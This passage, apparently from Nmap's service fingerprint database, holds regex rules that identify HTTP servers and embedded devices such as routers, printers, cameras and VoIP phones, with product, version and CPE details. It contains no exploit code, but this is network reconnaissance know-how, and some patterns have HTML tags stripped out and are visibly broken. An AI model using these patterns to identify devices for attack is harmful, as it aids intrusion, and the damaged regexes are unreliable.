          |s p/ServersCheck Monitoring Server httpd/ v/$1/ i/credentials: $2/ match http m|^HTTP/1\.0 401 Unauthorized\nContent-Type: text/html\nExpires: Thu, 01 Dec 1994 23:12:40 GMT\nServer: ServersCheck_Monitoring_Server/([\w._-]+)\n|s p/ServersCheck Monitoring Server httpd/ v/$1/ match http m|^HTTP/1\.1 505 HTTP Version Not Supported\r\n.*VMware View|s p/VMware ESX Server httpd/ cpe:/o:vmware:esx/ match http m|^HTTP/1\.1 200 Ok\r\nServer: PMSoftware-SWS/([\w._-]+)\r\n| p/PMSoftware Simple Web Server/ v/$1/ match http m|^HTTP/1\.1 200 OK\r\ncontent-type: text/html\r\ncontent-length: \d+\r\nlast-modified: .*\r\netag: [0-9a-f]+\r\nConnection: close\r\n\r\n| p/Node.js/ cpe:/a:nodejs:node.js/ match http m|^HTTP/1\.1 401 Unauthorized\r\nServer: (DPH-\w+)\r\n| p/D-Link $1 VoIP phone http config/ d/VoIP phone/ cpe:/h:dlink:$1/ match http m|^HTTP/1\.1 200 OK\r\nServer: Mango DSP HTTP Stack\r\n.*Mango IP Node Configuration|s p/Mango DSP AVS Raven-M video server http config/ d/media device/ # Last-Modified has time zone. match http m|^HTTP/1\.1 200 OK\r\nDate: .*\r\nContent-Length: \d+\r\nContent-Type: text/html\r\nLast-Modified: .* [-+]\d+\r\nExpires: .*\r\n\r\n| p/OpenText FirstClass webmail httpd/ cpe:/a:opentext:firstclass/ match ssl/http m|^HTTP/1\.0 403 Secure Channel Required\r\nConnection: close\r\nContent-Length: \d+\r\nContent-Type: text/plain; charset=utf-8\r\nDate: .*\r\nServer: ExpertAssist/([\w._-]+)\r\n| p/ExpertAssist/ v/$1/ i/ScriptLogic Remote Desktop/ match ssl/http m|^HTTP/1\.0 302 Moved Temporarily\r\nAccept-Ranges: none\r\nConnection: close\r\nContent-Length: 0\r\nContent-Type: application/octet-stream\r\nDate: .*\r\nLocation: https://[^/]*/\r\nServer: ExpertAssist/([\w._-]+)\r\n| p/ExpertAssist/ v/$1/ i/ScriptLogic Remote Desktop/ match http m|^HTTP/1\.0 200 OK\r\n(?:[^\r\n]+\r\n)*?Server: ExpertAssist/([\w._-]+)\r\nSet-Cookie: RASID=\w+; path=/\r\n|s p/ExpertAssist/ v/$1/ i/ScriptLogic Remote Desktop/ match http m|^HTTP/1\.0 200 OK\r\nSet-Cookie: LOGSSLCHECK=nossl; path=/; expires=.*\r\nCache-Control: no-cache\r\nConnection: close\r\nContent-Language: en\r\nContent-Length: \d+\r\nContent-Location: /default\.html\r\n.*ExpertAssist|s p/ScriptLogic ExpertAssist remote management httpd/ d/remote management/ match http m|^HTTP/1\.0 200 OK\r\nCache-Control: no-cache\r\nExpires: -1\r\nContent-Type: text/html\r\n\r\n\r\n\r\n\r\n Thomson Gateway - Startseite| p/Thomson SpeedTouch 536i router http config/ d/router/ cpe:/h:thomson:536i/ match http m|^HTTP/1\.1 200\r\nContent-type: text/html\r\nConnection: close\r\nCONTENT-LENGTH: 240\r\n\r\n\r\n\r\nWeb-Manager ([\w._-]+)\r\n\r\n\r\n
          \r\n\r\n\r\n\r\n\r\n\r\n$| p/Napco Netlink NL-MOD http config/ v/$1/ match http m|^\r\n\r\n\r\n
          ERF-Gateway Settings & States
          \r\n\r\n\r\n| p/LaCrosse GW-1000U weather station httpd/ v/$1 $2/ match http m|^HTTP/1\.0 200 OK\r\nServer: \$ProjectRevision: ([\w._-]+) \$\r\nContent-Type: text/html\r\n\r\n\n\n \n \n| p/Teradici PCoIP remote management http config/ v/$1/ d/remote management/ match http m|^HTTP/1\.1 301 Moved Permanently\r\nLocation: https://\(null\)/\r\nContent-Length: 2\r\n\r\n\r\n| p/Teradici PCoIP remote management http config/ d/remote management/ match http m|^HTTP/1\.0 200 OK\r\nDate: .*\r\nContent-Length: 131\r\nContent-Type: text/html\r\n\r\n\n\n\n\n\n\n\n\n\n$| p/Digital Stream DPS-1000 set-top box http config/ d/media device/ match http m|^HTTP/1\.0 200 OK\nConnection: close\nContent-type: text/html\nContent-Length: \d+\n\n\n\n\n\n\nNetcool/ISM Login\n| p/IBM Netcool Internet Service Monitors httpd/ match http m|^HTTP/1\.0 200 OK\r\nDate: .*\r\nServer: Z-World Rabbit\r\nConnection: close\r\nContent-Type: text/html\r\n\r\n\r\n\r\nSafetyNet Series 5| p/Z-World Rabbit microcontroller httpd/ i/SafetyNet Series 5 environmental monitor/ d/specialized/ match http m|^HTTP/1\.1 404 Not Found\r\nConnection: close\r\nContent-Type: text/html\r\nContent-Length: 48\r\nServer: Indy/([\w._-]+)\r\n\r\nThe requested URL / was not found on this server$| p/Indy httpd/ v/$1/ i/Avaya VoIP phone upgrade service/ cpe:/a:indy:httpd:$1/a match http m|^HTTP/1\.1 200 OK\r\nCONTENT-ENCODING: gzip\r\nEXPIRES: .*\r\nCONTENT-LENGTH: \d+\r\nLAST-MODIFIED: .*\r\nDATE: .*\r\nCONTENT-TYPE: text/html; charset=UTF-8\r\nCACHE-CONTROL: max-age=0, no-cache, public\r\nSERVER: Linux/([\w._-]+) Motorola/([\w._-]+) DAV/2\r\n| p/Moto Phone Portal httpd/ i/Linux $1; Motorola Defy $2/ d/phone/ o/Android/ cpe:/o:google:android/ cpe:/o:linux:linux_kernel:$1/ match http m|^HTTP/1\.1 302 Found\r\nServer: httpd\r\nDate: .*\r\nLocation: login\.html\r\nContent-Type: text/html; charset=utf-8\r\nContent-Length: 0\r\nCache-Control: no-cache\r\nPragma: no-cache\r\nExpires: 0\r\nConnection: close\r\n\r\n$| p/Green Packet DX230 WAP http config/ d/WAP/ cpe:/h:green_packet:dx230/ match http m|^HTTP/1\.1 401 Unauthorized\r\nServer: Radware-web-server\r\nWWW-Authenticate: Basic realm=\"Radware\"\r\nPragma: no-cache\r\nCache-Control: no-cache\r\nContent-Type: text/html\r\n\r\nDocument Error: Unauthorized| p/Radware OnDemand switch http config/ d/switch/ match http m|^HTTP/1\.0 401 Unauthorized\nServer: Gnat-Box/([\w._-]+)\n| p/Global Technology Associates Gnat Box firewall http config/ v/$1/ d/firewall/ match http m|^HTTP/1\.1 400 Bad Request\r\nDate: Mon, 21 Feb 2011 17:38:00 GMT\r\nContent-Length: 0\r\n\r\n$| p/Apple TV httpd/ d/media device/ cpe:/a:apple:apple_tv/ match http m|^HTTP/1\.1 307 Temporary Redirect\r\n(?:[^\r\n]+\r\n)*?Content-Length: 0\r\nConnection: keep-alive\r\nServer: AmazonS3\r\n\r\n$|s p/Amazon S3 httpd/ match http m|^HTTP/1\.1 200 OK\nServer: BO/([\w._-]+)\nDate: .*\nContent-type: text/html\nPublic: GET, POST\nConnection: keep-alive\n\n| p/BO2K built-in httpd/ v/$1/ match http m|^HTTP/1\.1 200 OK\r\nContent-Type: text/plain\r\nConnection: close\r\n\r\nHello, non-Bayeux request\. Yet another one$| p/Node.js/ i/Faye Bayeux protocol/ cpe:/a:nodejs:node.js/ match http m|^HTTP/1\.[01] \d\d\d [^\r\n]*\r\nCONTENT-TYPE: text/html\r.*\nServer: IBM_CICS_Transaction_Server/([\w._-]+)\(zOS\)\r\n|s p/IBM CICS Transaction Server/ v/$1/ o|z/OS| cpe:/o:ibm:z%2fos/ match http m|^HTTP/1\.1 200 OK\r\nServer: corehttp-([\w._-]+)\r\nContent-Type: text/html\r\nConnection: close\r\n\r\n
          | p/CoreHTTP/ v/$1/ i/directory listing/
          # http://code.google.com/p/webfinger/
          match http m|^HTTP/1\.1 400 Bad request\r\n\r\n$| p/WebFinger httpd/
          match http m|^HTTP/1\.1 500 Internal Server Error\r\nContent-Type: text/plain; charset=UTF-8\r\n\r\nFailure: 500 Internal Server Error\r\nnull\r\n\r\n$| p/Eucalyptus httpd/
          match http m|^HTTP/1\.0 200 OK\r\nContent-type: text/html; charset=utf-8\r\nContent-Length: 204\r\n\r\n\nDirectory listing for /\n\n

          Directory listing for /

          \n
          \n\n
          \n\n\n$| p/Dionaea honeypot httpd/ # http://www.erlang.org/doc/man/inets.html match http m|^HTTP/1\.0 200 OK\r\nServer: inets/([\w._-]+)\r\n| p/inets/ v/$1/ match http m|^HTTP/1\.0 200 OK\r\nConnection: close\r\nContent-Encoding: gzip\r\nContent-Type: text/html; charset=iso-8859-1\r\n\r\n\x1f\x8b\x08\0\0\0\0\0\x02\x03\xa5\x93Mo| p/HP ProCurve 1800-24G switch http config/ d/switch/ cpe:/h:hp:procurve_switch_1800/ cpe:/o:hp:procurve_switch_software/ match http m|^HTTP/1\.1 200 OK\r\nServer: afts/([\w._-]+)\r\n| p/afts/ v/$1/ match http m|^HTTP/1\.1 401 Unauthorized\r\nServer: OBi(\w+)\r\n| p/Obihai OBi$1 VoIP adapter http config/ d/VoIP adapter/ cpe:/h:obihai:obi$1/ match http m|^HTTP/1\.1 200 OK\r\nContent-Type: text/html; charset=UTF-8\r\nContent-Length: \d+\r\nDate: .*\r\nConnection: close\r\n\r\n1\.0\n(?:\d\d\d\d-\d\d-\d\d\n)+| p/OpenStack Nova httpd/ match http m|^HTTP/1\.1 200 OK\r\nContent-Type: text/html; charset=UTF-8\r\nContent-Length: \d+\r\nDate: .*\r\nConnection: close\r\n\r\n{\"versions\": \[{\"status\": \"CURRENT\", \"id\": \"v([\w._-]+)\"}\]}| p/OpenStack Nova httpd/ v/$1/ # http://www.fastpath.it/products/palantir/index.php match http m|^HTTP/1\.0 200 OK\r\nContent-Type: multipart/x-mixed-replace; boundary=--mp-boundary\r\nExpires: .*\r\nPragma: no-cache\r\nCache-Control: no-store, no-cache\r\nX-Protocol-Version: (\d+)\r\nX-Greeting: Livefeed\r\n\r\n--mp-boundary\r\n| p/Palantir media streaming httpd/ i/protocol $1/ match http m|^HTTP/1\.0 200 OK\r\nCache-Control: no-cache\r\nContent-Type: text/html\r\nContent-Length: \d+\r\nServer: MediaMallServer/([\w._-]+)\r\n| p/PlayOn MediaMallServer httpd/ v/$1/ match http m|^HTTP/1\.1 200 OK\r\nContent-Type: text/html\r\nConnection: close\r\n\r\n\nI-O DATA Broadband Router ETX-R| p/I-O Data ETX-R router http config/ d/router/ match http m|^HTTP/1\.0 401 com\.wm\.app\.b2b\.server\.AccessException: com\.wm\.app\.b2b\.server\.AccessException: \[ISS\.0084\.9004\] Access Denied\r\nWWW-Authenticate: Basic realm=\"webMethods\"\r\n| p/Software AG webMethods httpd/ match http m|^HTTP/1\.1 401 Unauthorized\r\nWWW-Authenticate: Basic realm=\"Secure Area\"\r\nContent-Type: text/html\r\n\r\nError401 Unauthorized$| p/ScriptLogic Image Center remote agent httpd/ d/remote management/ match http m|^HTTP/1\.0 200 OK\r\nDate: .*\r\nExpires: .*\r\nContent-Type: text/html; charset=UTF-8\r\nContent-Length: \d+\r\n\r\nWelcome to (963)| p/Trend $1 building control system httpd/ d/security-misc/ cpe:/h:trend:$1/ match http m|^HTTP/1\.1 401 Unauthorized\r\nWww-Authenticate: Basic REALM=\"elmeg\"\r\nContent-Type: text/plain\r\nContent-Length: 22\r\n\r\nUnauthorized request\r\n$| p/Elmeg IP 290 VoIP phone http config/ d/VoIP phone/ cpe:/h:elmeg:ip_290/ match http m|^HTTP/1\.1 401 Authorization Required\nDate: .* ([-+]\d+)\nServer: WebPidginZ \n([\w._-]+)\nWWW-Authenticate: Digest realm=\"WebPidginZLoginDigest\", nonce=\"[0-9a-f]+\", opaque=\"0000000000000000\", stale=false, algorithm=MD5, qop=\"auth\"\nConnection: close\nContent-type: text/html\n\n\n\n$| p/WebPidgin-Z instant messaging interface/ v/$2/ i/time zone: $1/ match http m|^HTTP/1\.0 \d\d\d [^\r\n]+\r\n[Cc]ontent-[Tt]ype: application/json; charset=UTF-8\r\n[Cc]ontent-[Ll]ength: \d+\r\n\r\n{.*?"name" : "([^"]+)",\n "cluster_name" : "([^"]+)",(?:\n "cluster_uuid" : "[^"]*",)?\n "version" : {\n "number" : "([\w._-]+)",.*"lucene_version" : "([^"]+)"\n },\n "tagline" : "You Know, for Search"\n}\n|s p/Elasticsearch REST API/ v/$3/ i/name: $1; cluster: $2; Lucene $4/ cpe:/a:apache:lucene:$4/ cpe:/a:elasticsearch:elasticsearch:$3/ match http m|^HTTP/1\.0 \d\d\d [^\r\n]+\r\n[Cc]ontent-[Tt]ype: application/json; charset=UTF-8\r\n[Cc]ontent-[Ll]ength: \d+\r\n\r\n{.*?"name" : "([^"]+)",\n "cluster_name" : "([^"]+)",(?:\n "cluster_uuid" : "[^"]*",)?\n "version" : {\n "number" : "([\w._-]+)",.*"lucene_version" : "([^"]+)"|s p/Elasticsearch REST API/ v/$3/ i/name: $1; cluster: $2; Lucene $4/ cpe:/a:apache:lucene:$4/ cpe:/a:elasticsearch:elasticsearch:$3/ match http m|^HTTP/1\.0 \d\d\d [\w ]+\r\n[Cc]ontent-[Tt]ype: application/json; charset=UTF-8\r\n[Cc]ontent-[Ll]ength: \d+\r\n\r\n{.*"name" : "([^"]+)",(?:\r?\n "cluster_uuid" : "[^"]*",)?\r?\n "version" : {\r?\n "number" : "([^"]+)",.*"lucene_version" : "([^"]+)"}|s p/Elasticsearch REST API/ v/$2/ i/name: $1; Lucene $3/ cpe:/a:apache:lucene:$3/ cpe:/a:elasticsearch:elasticsearch:$2/ match http m|^HTTP/1\.0 401 Unauthorized\r\nWWW-Authenticate: Basic realm="([^"]+)"(?:[^\r\n]*\r\n)*?\r\n\{"error":\{"root_cause":\[\{"type":"security_exception","reason":"missing authentication token for REST request \[/|s p/Elasticsearch REST API/ i/Shield plugin; realm: $1/ cpe:/a:elasticsearch:elasticsearch/ match http m|^HTTP/1\.0 401 Unauthorized\r\nWWW-Authenticate: Digest realm="([^"]+)",nonce="[\da-f]{32}"\r\nContent-Type: text/plain; charset=UTF-8\r\nContent-Length: 19\r\n\r\nUnauthorized access| p/Elasticsearch REST API/ i/realm: $1/ cpe:/a:elasticsearch:elasticsearch/ match http m|^HTTP/1\.0 401 Unauthorized\r\nWWW-Authenticate: Basic realm=\"NETWORK\"\r\nContent-Type: text/html\r\nServer: Lancam Server\r\n\r\n| p/American Dynamics EDVR security recorder/ d/security-misc/ match http m|^HTTP/1\.0 200 OK\r\n(?:[^\r\n]+\r\n)*?Server: Muratec Server Ver\.([\w._-]+)\r\n.*Administration tool for IF-300\r\n|s p/Muratec IF-300 network module http config/ v/$1/ i/for F-320 printer/ d/printer/ cpe:/h:muratec:f-320/ cpe:/h:muratec:if-300/ match http m|^HTTP/1\.0 401 Unauthorized\r\n(?:[^\r\n]+\r\n)*?Server: Muratec Server Ver\.([\w._-]+)\r\nWWW-Authenticate: Basic Realm=\"Pages for SERVICE PERSON\"\r\nContent-Type: text/html\r\nContent-Length: 51\r\n\r\n

          401 Unauthorized

          $|s p/Muratec F-320 printer http config/ v/$1/ d/printer/ cpe:/h:muratec:f-320/ match http m|^HTTP/1\.0 200 OK\r\n(?:[^\r\n]+\r\n)*?Server: RedTitan-eNterpriseQueue/([\w._-]+)\r\n.*Enterprise Portal\r\n|s p/RedTitan-eNterpriseQueue/ v/$1/ i/RedTitan Print2PC parallel-to-USB bridge/ d/bridge/ cpe:/h:redtitan:print2pc/ match http m|^HTTP/1\.1 200 OK\r\n(?:[^\r\n]+\r\n)*?Server: UPnP/1\.0\r\n.*HDHomeRun\r\n.*
          Model: ([\w._-]+)
          Device ID: ([\w._-]+)
          Firmware: ([\w._-]+)
          |s p/SiliconDust HDHomeRun $1 DVR http config/ v/$3/ i/device ID: $2/ d/media device/ cpe:/h:silicondust:hdhomerun/ match http m|^HTTP/1\.1 200 OK\r\n(?:[^\r\n]+\r\n)*?S[eE][rR][vV][eE][rR]: HDHomeRun/1\.0\r\n.*
          Model: ([\w._-]+)\n?
          Device ID: ([\w._-]+)\n?
          Firmware: ([\w._-]+)\n?
          |s p/SiliconDust HDHomeRun $1 DVR http config/ v/$3/ i/device ID: $2/ d/media device/ cpe:/h:silicondust:hdhomerun/ # http://www.ibm.com/developerworks/systems/library/es-nweb/index.html match http m|^HTTP/1\.0 200 OK\r\nContent-Type: text/html\r\n\r\n\r\nnweb\r\n| p/IBM nweb/ cpe:/a:ibm:nweb/ match http m|^HTTP/1\.0 504 Gateway Timeout\r\nPragma: no-cache\r\nConnection: close\r\nContent-Type: text/html; charset=utf-8\r\n\r\nConnection to server failed \(Connection actively refused by the server\.\)

          {600}| p/Kerio WinRoute http proxy/ o/Windows/ cpe:/a:kerio:winroute/ cpe:/o:microsoft:windows/a match http m|^HTTP/1\.1 404 Not Found\r\nConnection: close\r\nDate: .*\r\nX-Cascade: pass\r\nContent-Type: text/html\r\nContent-Length: 409\r\n\r\n\n\n\n \n\n\n

          Sinatra doesn't know this ditty\.

          \n \n
          \n Try this:\n
          get '/' do\n  \"Hello World\"\nend
          \n
          \n\n\n$| p/Sinatra web framework built-in httpd/ match http m|^HTTP/1\.1 200 OK\r\nConnection: close\r\nContent-Type: text/html; charset=utf-8\r\n(?:[^\r\n]+\r\n)*?Server: webcam 7\r\n\r\n|s p/webcam 7 httpd/ o/Windows/ cpe:/o:microsoft:windows/ match http m|^HTTP/1\.1 301 Movprm\r\nLocation: https://[\d.]+/\r\nContent-Length: 0\r\nContent-Type: text/html\r\nConnection: close\r\n\r\n$| p/Konica Minolta bizhub 423 printer http config/ d/printer/ cpe:/h:konicaminolta:bizhub_423/ match http m|^HTTP/1\.1 302 Moved Temporarily\r\nServer: Catwalk\r\nDate: .*\r\nLocation: https://null:8443/\r\nContent-Length: 0\r\nConnection: close\r\n\r\n$| p/Catwalk/ i/Canon imageRUNNER C5000-series printer http config/ d/printer/ cpe:/h:canon:imagerunner_c5000/ match http m|^HTTP/1\.1 200 OK\r\nDate: .*\r\nExpires: .*\r\nCache-control: private\r\nContent-type: text/html\r\n\r\n
          SoftwareERF-Gateway V([\w._-]+)
          Compilation Date(\d\d/\d\d/\d\d)

          Enistic Smart Energy Controller

          | p/Enistic Smart Energy Controller httpd/ d/power-misc/ match http m|^HTTP/1\.1 401 Unauthorized\nWWW-Authenticate: Basic realm='unRAID SMU'\n$| p/Lime Technology unRAID Server httpd/ v/4.X/ d/storage-misc/ cpe:/o:lime_technology:unraid_server:4/ # http://code.google.com/p/unraid-unmenu/ match http m|^HTTP/1\.1 200 OK\r\nConnection: Close\r\nPragma: no-cache\r\nCache-Control: private, max-age=0\r\nDate: .*\r\nExpires: -1\r\nContent-Type: text/html\r\nTransfer-Encoding: chunked\r\nRefresh: 60; URL=\r\n\r\n[0-9a-f]+\r\n([\w._-]+) unRAID Server| p/Lime Technology unRAID Server Unmenu http config/ d/storage-misc/ h/$1/ cpe:/o:lime_technology:unraid_server:4/ match http m|^\0\0\0\0\x81HTTP/1\.0 403 Forbidden\r\nServer: ServletExecAS/([\w._-]+)\r\nContent-type: text/html\r\n\r\nRequests from [\d.]+ are not allowed\.$| p/New Atlanta ServletExec/ v/$1/ cpe:/a:newatlanta:servletexec:$1/ match http m|^HTTP/1\.0 401 Unauthorized\r\nDate: .*\r\nWWW-Authenticate: Basic realm=\"\"\r\n\r\n$| p/Z-World Rabbit microcontroller httpd/ i/Redline AN-50 wireless bridge http config/ cpe:/h:redline:an-50/ match http m|^HTTP/1\.1 200 OK\r\nContent-type: text/html\r\nConnection: Close\r\n\r\n\n\nZyXEL (ZyAIR [\w._-]+)| p/ZyXEL $1 WAP http config/ d/WAP/ cpe:/h:zyxel:$1/ match http m|^HTTP/1\.1 200\r\nContent-type: text/html\r\nConnection: close\r\nCONTENT-LENGTH: 81\r\n\r\n\r\n\r\n\r\n$| p/SolarLog 400e power monitor httpd/ d/power-misc/ cpe:/h:solarlog:400e/ match http m|^HTTP/1\.1 200 OK\r\naccept-ranges: none\r\ncache-control: no-cache\r\ncontent-type: text/html; charset=utf-8\r\ndate: .*\r\nexpires: 0\r\nserver: Ocsigen\r\n\r\n| p/Ocsigen/ match http m|^HTTP/1\.0 200 OK\r\nConnection: close\r\nSet-Cookie: Netio\w+=\w+; path=/\r\n\r\n\n\n(NETIO-\w+) WebControl\n| p/Koukaam $1 power controller http config/ d/power-device/ cpe:/h:koukaam:$1/ match http m|^HTTP/1\.1 200 OK\r\nDate: .*\r\nServer: Omniture DC/([\w._-]+)\r\nxserver: ([\w._-]+)\r\n| p/Omniture DC/ v/$1/ h/$2/ # ABS Megacam # Ubiquity AirCam.v1.1.1 / Airvision v1.1.1 match http m|^HTTP/1\.0 404 Not Found\r\nConnection: close\r\nContent-Type: text/html\r\nContent-Length: 47\r\n\r\n

          File not found

          $| p/GM Streaming Server httpd/ d/webcam/ match http m|^\n \n \n \n \n \n \t
          \n \n \n \n
          VoIP Router \n| p/Inteno X5669B broadband router/ d/broadband router/ cpe:/h:inteno:x5669b/ match http m|^HTTP/1\.0 200 OK\r\nConnection: close\r\nX-Powered-By: PHP/([\w._-]+)\r\n(?:[^\r\n]+\r\n)*?Server: WMI Http Server\r\n.*Xtreamer Media Server\n|s p/WMI HTTP Server/ i/Xtreamer Pro media server; PHP $1/ d/media device/ cpe:/a:php:php:$1/ match http m|^HTTP/1\.1 400 OK\r\n(?:[^\r\n]+\r\n)*?Server: Ability Server ([\w._-]+) by Code-Crafters\r\n|s p/Code Crafters Ability httpd/ v/$1/ cpe:/a:code-crafters:ability_server:$1/ match http m|^HTTP/1\.0 200 Ok\r\nServer: NET-DK/([\w._-]+)\r\n.*\n\n\n\n\n|s p/NET-DK/ v/$1/ i/Motorola SB5101 or SB6120 cable modem http config/ d/broadband router/ cpe:/h:motorola:sb5101/ cpe:/h:motorola:sb6120/ match http m|^HTTP/1\.0 401 Unauthorized\n.*Server: SAINT/([\w._-]+)\n.*\n\nBad client authentication code\n\n\n\n

          Bad client authentication code

          \nThe command: GET / HTTP/1\.0\r\n was not properly authenticated\.\n\n\n$|s p/SAINTexploit http interface/ v/$1/ match http m|^HTTP/1\.0 200 OK\n.*Server: SAINT/([\w._-]+)\n.*SAINT Login|s p/SAINTexploit http interface/ v/$1/ match http m|^HTTP/1\.1 200 OK\r\nContent-type: text/html\r\nCache-Control: no-cache\r\n\r\n



          LevelOne (GSW-\w+)| p/LevelOne $1 switch http config/ d/switch/ cpe:/h:levelone:$1/ match http m|^HTTP/1\.1 200 OK\r\nConnection: close\r\nContent-Length: \d+\r\nContent-Type: text/html\r\n\r\n\n\n|s p/Port25 Solutions PowerMTA http status/ v/$1/ match http m|^HTTP/1\.1 200 OK\r\nServer: WebServer\(IPCamera_Logo\)\r\nContent-Length: \d+\r\nContent-Type: text/html\r\nConnection: close\r\nLast-Modified: .*\r\nCache-Control: max-age=60\r\n\r\n\xef\xbb\xbf| p/Maygion IPCamera http interface/ i/RTSP on same port/ # Verizon FIOS? match http m|^HTTP/1\.1 401 Unauthorized\r\nContent-Length: 0\r\nWWW-Authenticate: Digest realm=\"IgdAuthentication\", domain=\"/\", nonce=\"\w{35}=\", qop=\"auth\", algorithm=MD5, opaque=\"5ccc09c403ebaf9f0171e9517f40e41\" \r\n\r\n| p/TL-069 remote access/ match http m|^HTTP/1\.1 401 Unauthorized\r\nConnection: close\r\nContent-Length: 0\r\nWWW-Authenticate: Digest realm=IgdAuthentication, domain=\"/\", qop=\"auth\", algorithm=MD5, nonce=\"\w{9}\"\r\n\r\n| p/TL-069 remote access/ match http m|^HTTP/1\.1 401 Unauthorized\r\nContent-Length: 23\r\nServer: MySQL Aggregator\r\nConnection: close\r\nWWW-Authenticate: Basic realm=\"CTA\"\r\nContent-Type: text/plain\r\n\r\nAuthorization required\n| p/MySQL Enterprise Agent Aggregator/ match http m|^HTTP/1\.1 200 OK\r\nContent-Type: text/html; charset=utf-8\r\nCache-Control: no-cache \r\nServer: Bukkit Webby\r\nConnection: Close\r\n\r\n| p/Bukkit Webby Minecraft http admin/ match http m|^HTTP/1\.1 301 Moved Permanently\r\nLocation: /console/index\.html\r\nConnection: close\r\nDate: .* GMT\r\n\r\n$| p/JBoss Administrator/ match http m|^HTTP/1\.1 200 OK\r\nCache-Control: max-age=0\r\nPragma: no-cache\r\nContent-Type: text/html\r\nContent-Length: \d+\r\nX-UA-Compatible: IE=Edge\r\nConnection: close\r\nSet-Cookie: web_session_id=\w+; path=/; HttpOnly; \r\n\r\n.*PA Server Monitor|s p/Power Admin Server Monitor http admin/ match http m|^HTTP/1\.0 200 OK\r\nDate: .*\r\nServer: SentinelKeysServer/([\w._-]+)\r\nMIME-Version: 1\.1\r\nContent-Type: text/html\r\n| p/SafeNet Sentinel Keys License Monitor httpd/ v/$1/ i/Java Console/ cpe:/a:safenet-inc:sentinel_keys_server:$1/ # The version numbers don't line up. Need more info or more fingerprints to figure out. # Also, this matches 4 or 5 different services within CloudView. No further info. match http m|^HTTP/1\.0 \d\d\d .*\r\nConnection: Close\r\nContent-Length: \d+\r\nContent-Type: .*\r\nDate: .*\r\nHost: 0\.0\.0\.0\r\nServer: NG/6\.0\.16943\r\n| p/Exalead CloudView/ v/5.1.12.31472/ match http m|^HTTP/1\.0 200 OK\r\nConnection: Close\r\nContent-Length: \d+\r\nContent-Type: text/html\r\nDate: .*\r\nEtag: .*\r\nServer: ngconvert/6\.0\.16943 edoc/1\.4\.36592 \(BUILD=6\.0\.16943;EDOC=1\.4\.36592;AUTOMIME=1\.03;CONFEX=0\.153;XPDFTEXTLIB=3\.02\.24\)\r\n\r\n| p/Exalead CloudView/ v/5.1.12.31472/ match http m|^HTTP/1\.1 200 OK\r\n(?:[^\r\n]+\r\n)*?\r\n\n\n\n
          pageok
          \n\n$|s p/GoDaddy error/ match http m|^HTTP/1\.1 400 Bad Request \(5\)\r\nServer: httpd\r\nDate: .*\r\nContent-Type: text/html\r\nConnection: close\r\n\r\n| p/Cisco small business router VPN/ match http m|^HTTP/1\.0 401 Unauthorized\r\nServer: HTS/tvheadend\r\nCache-Control: no-cache\r\nWWW-Authenticate: Basic realm=| p/Tvheadend http config/ o/Linux/ cpe:/o:linux:linux_kernel/a match http m|^HTTP/1\.0 400 Bad Request\r\nDate: .* ([+-]\d+)\r\nContent-Length: 0\r\nServer: com\.novell\.zenworks\.httpserver/([\w._-]+)\r\n\r\n| p/Novell ZENworks httpd/ v/$2/ i/time zone: $1/ cpe:/a:novell:zenworks:$2/ match http m|^HTTP/1\.0 200 OK\nContent-type: text/plain\n\nTable: Links\nLocal IP\tRemote IP\tHyst\.\tLQ\tNLQ\tCost\n| p/olsrd txtinfo plugin/ match http m|^HTTP/1\.0 200 OK\r\nContent-Type: text/html\r\nDate: .*? ([A-Z]+)\r\nExpires: .*\r\n\r\n.*

          DVR (\w+) WatchDog \(([\w._-]+)\)

          |s p/March Networks $2 DVR http config/ i/time zone: $1/ h/$3/ match http m|^HTTP/1\.0 200 OK\r\n(?:[^\r\n]+\r\n)*?Server: Speclab WebServer/([\w._-]+) (Instinct-\d+ Release \d+)\r\n|s p/Speclab WebServer/ v/$1/ i/Goal $2/ match http m|^HTTP/1\.1 200 OK\r\nMIME-Version: 1\.0\r\nConnection: close\r\nContent-Type: text/html\r\nContent-Length: \d+\r\n\r\n {332}\n\n\t.*|s p/SOGo groupware http interface/ i/build: $1/ match http m|^HTTP/1\.1 200 OK\r\nConnection: close \r\nContent-Type: text/html\r\nCache-control: no-cache\r\n\r\n.*top\.location\.href=\"login_page\.html\";Paradox IP Module|s p/Paradox security system IP module httpd/ d/security-misc/ match http m|^HTTP/1\.1 200 OK\r\nServer: WIBU-SYSTEMS HTTP Server/ Version ([\w._-]+) vom \d+\.\w+\.\d+\r\n| p/Wibu CodeMeter httpd/ v/$1/ i/German/ match http m|^HTTP/1\.1 200 OK\r\nServer: WIBU-SYSTEMS HTTP Server/ Version ([\w._-]+) of \w+/\d+/\d+\r\n| p/Wibu CodeMeter httpd/ v/$1/ i/English/ match http m|^HTTP/1\.1 200 OK\r\nContent-Length:\d+\r\nContent-Type:text/html\r\nConnection:close\r\n\r\n

          Mendeley Desktop

          | p/Mendeley Desktop httpd/ match http m|^HTTP/1\.1 200 OK\r\nConnection: close\r\nLast-Modified: \d+/\d+/\d+ \d+:\d+:\d+ [AP]M\r\nContent-Length: \d+\r\nContent-Type: text/html\r\n\r\n\r\n\r\nHomeWorks Illumination Web Keypad| p/Lutron HomeWorks web keypad/ match http m|^HTTP/1\.1 200 OK\r\nContent-Type: text/plain; charset=utf-8\r\nContent-Length: \d+\r\nCache-Control: no-cache\r\n\r\nUnified Protocol version ([\d.]+)| p/Samsung CLP printer httpd/ i/Unified Protocol $1/ d/printer/ # BIND 9.5 or later match http m|^HTTP/1\.0 200 OK\r\nContent-Type: text/xml\r\n(?:[^\r\n]+\r\n)*?Server: libisc\r\n.*|s p/BIND stats httpd/ i/XML statistics version $1/ cpe:/a:isc:bind/ match http m|^HTTP/1\.1 200 OK\r\nCache-Control: no-cache\r\nContent-Type: text/html\r\nContent-Length: \d+\r\n\r\n.*\r\n\r\n\r\n\t\r\n\t|s p/LANDesk html5 remote control/ cpe:/a:landesk:landesk_management_suite/ match http m|^HTTP/1\.0 404 Not Found\r\nContent-Type: text/html\r\nContent-Length: 345\r\nConnection: close\r\nDate: .*\r\nServer: Swift1\.0\r\n\r\n| p/Samsung Swift httpd/ v/1.0/ d/media device/ match http m|^HTTP/1\.1 200 OK\r\nSERVER: HDHomeRun/([\w._-]+)\r\n.*
          Model: ([\w._-]+)
          Device ID: [\w._-]+
          Firmware: ([\w._-]+)
